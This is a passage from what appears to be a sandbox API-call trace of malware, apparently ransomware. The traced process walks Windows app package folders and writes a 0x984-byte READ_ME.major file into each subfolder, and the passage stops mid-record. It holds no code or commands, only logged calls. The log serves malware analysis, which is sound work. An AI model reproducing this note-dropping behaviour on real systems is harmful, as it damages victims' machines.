lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.978] CloseHandle (hObject=0x954) returned 1 [0190.978] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef547375, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xef547375, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef547375, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.978] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.980] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.981] CloseHandle (hObject=0x954) returned 1 [0190.981] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1806001, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19c767cf, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.981] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.981] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.982] CloseHandle (hObject=0x954) returned 1 [0190.982] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1806001, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19c767cf, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.982] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1aae2a1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660e30 [0190.982] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1aae2a1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.983] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3e55cfc, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x384e8f13, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x384e8f13, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.983] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0190.984] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.985] CloseHandle (hObject=0x958) returned 1 [0190.985] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd18c1e3b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3de35df, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0190.986] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.987] CloseHandle (hObject=0x958) returned 1 [0190.987] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd18c2664, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3de35df, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.987] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0190.988] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.989] CloseHandle (hObject=0x958) returned 1 [0190.989] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f23f1b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.990] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0191.069] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.070] CloseHandle (hObject=0x958) returned 1 [0191.070] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2440463c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2440463c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.070] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd192c093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3de35df, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.071] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0191.071] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.072] CloseHandle (hObject=0x958) returned 1 [0191.072] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7133ee1b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7133ee1b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.072] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0191.074] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.075] CloseHandle (hObject=0x958) returned 1 [0191.075] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc6e47f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xefc6e47f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xefc6e47f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.075] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0191.076] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.077] CloseHandle (hObject=0x958) returned 1 [0191.077] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51a15eeb, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x51a15eeb, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.077] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0191.078] WriteFile (in: hFile=0x958, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.078] CloseHandle (hObject=0x958) returned 1 [0191.078] FindNextFileW (in: hFindFile=0x660e30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51a15eeb, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x51a15eeb, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.079] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed548e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbede9823, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660ef0 [0191.079] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed548e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbede9823, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.079] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbede9823, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbedef9f4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbedef9f4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.079] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.081] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.081] CloseHandle (hObject=0x95c) returned 1 [0191.081] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed66dee, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbed66dee, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbed66dee, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.082] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.083] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.084] CloseHandle (hObject=0x95c) returned 1 [0191.084] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed5d1c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a51d81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed5d1c9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.084] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.085] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.086] CloseHandle (hObject=0x95c) returned 1 [0191.086] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed55c81, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a52772, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed55c81, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.086] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.087] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.087] CloseHandle (hObject=0x95c) returned 1 [0191.087] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2440463c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2440463c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.087] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed58391, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1a52e58, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed58391, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.088] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.088] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.089] CloseHandle (hObject=0x95c) returned 1 [0191.089] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed5fe7b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbed646ee, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbed69507, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.089] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0191.090] WriteFile (in: hFile=0x95c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.091] CloseHandle (hObject=0x95c) returned 1 [0191.091] FindNextFileW (in: hFindFile=0x660ef0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, 